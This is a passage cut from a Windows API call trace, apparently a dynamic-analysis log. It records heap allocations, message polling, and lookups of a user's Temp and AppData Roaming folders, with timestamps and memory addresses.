lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0135.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0135.541] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0135.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.541] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18e8 [0135.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0135.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0135.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0135.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0135.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0135.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0135.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18e8 | out: hHeap=0xe80000) returned 1 [0135.542] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0135.543] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.543] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0135.543] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.543] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0135.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0135.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0135.543] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0135.543] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0135.544] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0135.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0135.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0135.544] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0135.545] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0135.545] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0135.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1848 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0135.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0135.546] CharUpperBuffW (in: lpsz="GETDIR", cchLength=0x6 | out: lpsz="GETDIR") returned 0x6 [0135.546] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0135.546] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf2d8 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18e8 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0135.546] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076b08 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2838 [0135.546] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.547] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.547] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e40 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0135.547] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0135.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec31e0 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0135.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.548] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0135.549] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0135.549] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xed5c88 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076ce8 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xedafb0 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0135.549] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xbdeb90 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104acf8 [0135.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0135.550] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedafb0 | out: hHeap=0xe80000) returned 1 [0135.550] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.550] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0135.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0135.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0135.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10774f8 [0135.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0135.550] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10774f8 | out: hHeap=0xe80000) returned 1 [0135.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104a618 [0135.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0135.551] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x104acf8 | out: hHeap=0xe80000) returned 1 [0135.551] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0135.551] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0135.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xedafb0 [0135.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0135.551] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0xbde970 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0135.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0135.551] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10775d0 [0135.551] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10774f8 [0135.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077528 [0135.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0135.552] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077528 | out: hHeap=0xe80000) returned 1 [0135.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104a988 [0135.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0135.552] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedafb0 | out: hHeap=0xe80000) returned 1 [0135.552] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0135.552] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0135.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xedafb0 [0135.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0135.552] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedafb0 | out: hHeap=0xe80000) returned 1 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077528 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077558 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077810 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077810 | out: hHeap=0xe80000) returned 1 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0135.553] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b20 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077810 [0135.553] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0135.553] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077810 | out: hHeap=0xe80000) returned 1 [0135.554] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0135.554] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0135.554] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0135.554] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b20 [0135.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077810 [0135.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf508 [0135.554] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077810 | out: hHeap=0xe80000) returned 1 [0135.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2418 [0135.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077810 [0135.554] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077870 [0135.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.555] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077870 | out: hHeap=0xe80000) returned 1 [0135.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0135.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0135.555] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0135.555] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.555] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.555] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.555] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0135.555] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0135.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.556] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.556] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0135.556] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0135.556] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0135.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0135.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0135.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077870 [0135.556] GetLastError () returned 0x3f0 [0135.556] SetLastError (dwErrCode=0x3f0) [0135.556] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077870 | out: hHeap=0xe80000) returned 1 [0135.556] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.556] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0135.556] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0135.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077870 [0135.556] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a38 [0135.557] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077870 | out: hHeap=0xe80000) returned 1 [0135.557] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0135.557] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0135.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077870 [0135.558] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0135.558] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2838 | out: hHeap=0xe80000) returned 1 [0135.558] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0135.559] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec31e0 | out: hHeap=0xe80000) returned 1 [0135.559] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.559] HeapFree (in: 